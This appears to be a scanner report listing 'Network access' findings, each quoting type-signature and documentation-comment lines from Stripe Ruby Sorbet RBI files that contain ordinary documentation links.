sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1856
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1857
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2095
end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2096
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 2097
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2321
end class PersonsProvided < ::Stripe::StripeObject # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.strip - Network accessline 2322
class PersonsProvided < ::Stripe::StripeObject # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/cor - Network accessline 2323
# Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 2324
sig { returns(T.nilable(T::Boolean)) } def directors; end # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https:/ - Network accessline 2325
def directors; end # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 2326
# Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 2327
sig { returns(T.nilable(T::Boolean)) } def executives; end # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.s - Network accessline 2328
def executives; end # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 2329
# Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 2375
end end # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). - Network accessline 2376
end # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). sig { returns(T.nilable(Account)) } - Network accessline 2377
# Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). - Network accessline 2418
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2419
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2420
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2445
class AnnualRevenue < ::Stripe::StripeObject class Amount < ::Stripe::StripeObject # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#min - Network accessline 2446
class Amount < ::Stripe::StripeObject # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). sig { returns(T.nilable(Integer) - Network accessline 2447
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 2448
sig { returns(T.nilable(Integer)) } def value; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/cu - Network accessline 2449
def value; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(S - Network accessline 2450
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2473
class Documents < ::Stripe::StripeObject class BankAccountOwnershipVerification < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_ - Network accessline 2474
class BankAccountOwnershipVerification < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2475
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2487
end class CompanyLicense < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2488
class CompanyLicense < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig - Network accessline 2489
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2501
end class CompanyMemorandumOfAssociation < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_ - Network accessline 2502
class CompanyMemorandumOfAssociation < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2503
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2515
end class CompanyMinisterialDecree < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requir - Network accessline 2516
class CompanyMinisterialDecree < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2517
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2529
end class CompanyRegistrationVerification < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account - Network accessline 2530
class CompanyRegistrationVerification < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2531
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2543
end class CompanyTaxIdVerification < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requir - Network accessline 2544
class CompanyTaxIdVerification < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2545
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2558
class PrimaryVerification < ::Stripe::StripeObject class FrontBack < ::Stripe::StripeObject # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verif - Network accessline 2559
class FrontBack < ::Stripe::StripeObject # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'ident - Network accessline 2560
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2561
sig { returns(T.nilable(String)) } def back; end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the upl - Network accessline 2562
def back; end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploade - Network accessline 2563
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2571
end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 2572
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. sig { returns(FrontBack) } - Network accessline 2573
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 2585
end class ProofOfAddress < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2586
class ProofOfAddress < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig - Network accessline 2587
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2599
end class ProofOfRegistration < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement - Network accessline 2600
class ProofOfRegistration < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2601
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2613
end class ProofOfUltimateBeneficialOwnership < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `acco - Network accessline 2614
class ProofOfUltimateBeneficialOwnership < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2615
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2690
class MonthlyEstimatedRevenue < ::Stripe::StripeObject class Amount < ::Stripe::StripeObject # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/curr - Network accessline 2691
class Amount < ::Stripe::StripeObject # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). sig { returns(T.nilable(Integer) - Network accessline 2692
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 2693
sig { returns(T.nilable(Integer)) } def value; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/cu - Network accessline 2694
def value; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(S - Network accessline 2695
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2718
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2719
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2720
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2747
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2748
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2749
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2874
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2875
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2876
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2954
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2955
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2956
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2998
class Documents < ::Stripe::StripeObject class CompanyAuthorization < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a - Network accessline 2999
class CompanyAuthorization < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 3000
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 3012
end class Passport < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 3013
class Passport < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { retu - Network accessline 3014
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 3027
class PrimaryVerification < ::Stripe::StripeObject class FrontBack < ::Stripe::StripeObject # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verif - Network accessline 3028
class FrontBack < ::Stripe::StripeObject # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'ident - Network accessline 3029
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 3030
sig { returns(T.nilable(String)) } def back; end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the upl - Network accessline 3031
def back; end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploade - Network accessline 3032
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 3040
end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 3041
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. sig { returns(FrontBack) } - Network accessline 3042
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 3055
class SecondaryVerification < ::Stripe::StripeObject class FrontBack < ::Stripe::StripeObject # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver - Network accessline 3056
class FrontBack < ::Stripe::StripeObject # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'ident - Network accessline 3057
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 3058
sig { returns(T.nilable(String)) } def back; end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the upl - Network accessline 3059
def back; end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploade - Network accessline 3060
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 3068
end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 3069
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. sig { returns(FrontBack) } - Network accessline 3070
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 3082
end class Visa < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 3083
class Visa < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns( - Network accessline 3084
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 3171
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3172
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 3173
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3200
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3201
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 3202
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3322
sig { returns(T.nilable(T::Hash[String, String])) } def metadata; end # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2 - Network accessline 3323
def metadata; end # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(T::Array[String])) } - Network accessline 3324
# The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3373
sig { returns(T.nilable(BusinessDetails)) } def business_details; end # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en. - Network accessline 3374
def business_details; end # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code. - Network accessline 3375
# The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/v2/core/account_person.rbi
- Network accessline 12
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 13
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 14
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 92
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 93
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 94
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 136
class Documents < ::Stripe::StripeObject class CompanyAuthorization < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose - Network accessline 137
class CompanyAuthorization < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { - Network accessline 138
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 150
end class Passport < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 151
class Passport < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns(T::A - Network accessline 152
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 165
class PrimaryVerification < ::Stripe::StripeObject class FrontBack < ::Stripe::StripeObject # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification - Network accessline 166
class FrontBack < ::Stripe::StripeObject # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_ - Network accessline 167
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 168
sig { returns(T.nilable(String)) } def back; end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded fi - Network accessline 169
def back; end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded fi - Network accessline 170
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 178
end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 179
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. sig { returns(FrontBack) } - Network accessline 180
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 193
class SecondaryVerification < ::Stripe::StripeObject class FrontBack < ::Stripe::StripeObject # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verificatio - Network accessline 194
class FrontBack < ::Stripe::StripeObject # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_ - Network accessline 195
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 196
sig { returns(T.nilable(String)) } def back; end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded fi - Network accessline 197
def back; end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded fi - Network accessline 198
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 206
end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 207
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. sig { returns(FrontBack) } - Network accessline 208
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 220
end class Visa < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 221
class Visa < ::Stripe::StripeObject # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns(T::Array - Network accessline 222
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 309
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 310
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 311
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 338
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 339
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 340
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 460
sig { returns(T.nilable(T::Hash[String, String])) } def metadata; end # The countries where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 461
def metadata; end # The countries where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(T::Array[String])) } - Network accessline 462
# The countries where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/v2/core/event.rbi
- Network accessline 6
module V2 module Core # Events are generated to keep you informed of activity in your business account. APIs in the /v2 namespace generate [thin events](https://docs.stripe.com/event-destinations#benefits-of-thin-events) which hav - Network accessline 7
module Core # Events are generated to keep you informed of activity in your business account. APIs in the /v2 namespace generate [thin events](https://docs.stripe.com/event-destinations#benefits-of-thin-events) which have small, unver - Network accessline 8
# Events are generated to keep you informed of activity in your business account. APIs in the /v2 namespace generate [thin events](https://docs.stripe.com/event-destinations#benefits-of-thin-events) which have small, unversioned payloads th
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/v2/core/event_destination.rbi
- Network accessline 6
module V2 module Core # Set up an event destination to receive events from Stripe across multiple destination types, including [webhook endpoints](https://docs.stripe.com/webhooks) and [Amazon EventBridge](https://docs.stripe.com/ - Network accessline 7
module Core # Set up an event destination to receive events from Stripe across multiple destination types, including [webhook endpoints](https://docs.stripe.com/webhooks) and [Amazon EventBridge](https://docs.stripe.com/event-destinat - Network accessline 8
# Set up an event destination to receive events from Stripe across multiple destination types, including [webhook endpoints](https://docs.stripe.com/webhooks) and [Amazon EventBridge](https://docs.stripe.com/event-destinations/eventbridge).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/webhook_endpoint.rbi
- Network accessline 4
# typed: true module Stripe # You can configure [webhook endpoints](https://docs.stripe.com/webhooks/) via the API to be - Network accessline 5
module Stripe # You can configure [webhook endpoints](https://docs.stripe.com/webhooks/) via the API to be # notified about events that happen in your Stripe account or connected - Network accessline 6
# You can configure [webhook endpoints](https://docs.stripe.com/webhooks/) via the API to be - Network accessline 8
# accounts. # # Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints. - Network accessline 9
# # Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints. # - Network accessline 10
# Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints. - Network accessline 11
# # Related guide: [Setting up webhooks](https://docs.stripe.com/webhooks/configure) class WebhookEndpoint < APIResource - Network accessline 12
# Related guide: [Setting up webhooks](https://docs.stripe.com/webhooks/configure) - Network accessline 33
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 34
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 35
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 39
sig { returns(String) } def object; end # The endpoint's secret, used to generate [webhook signatures](https://docs.stripe.com/webhooks/signatures). Only returned at creation. - Network accessline 40
def object; end # The endpoint's secret, used to generate [webhook signatures](https://docs.stripe.com/webhooks/signatures). Only returned at creation. sig { returns(T.nilable(String)) } - Network accessline 41
# The endpoint's secret, used to generate [webhook signatures](https://docs.stripe.com/webhooks/signatures). Only returned at creation. - Network accessline 51
sig { returns(T.nilable(T::Boolean)) } def deleted; end # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint tha - Network accessline 52
def deleted; end # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the specified url about events f - Network accessline 53
# A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the specified url about events from all connected acc - Network accessline 59
# You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard. - Network accessline 65
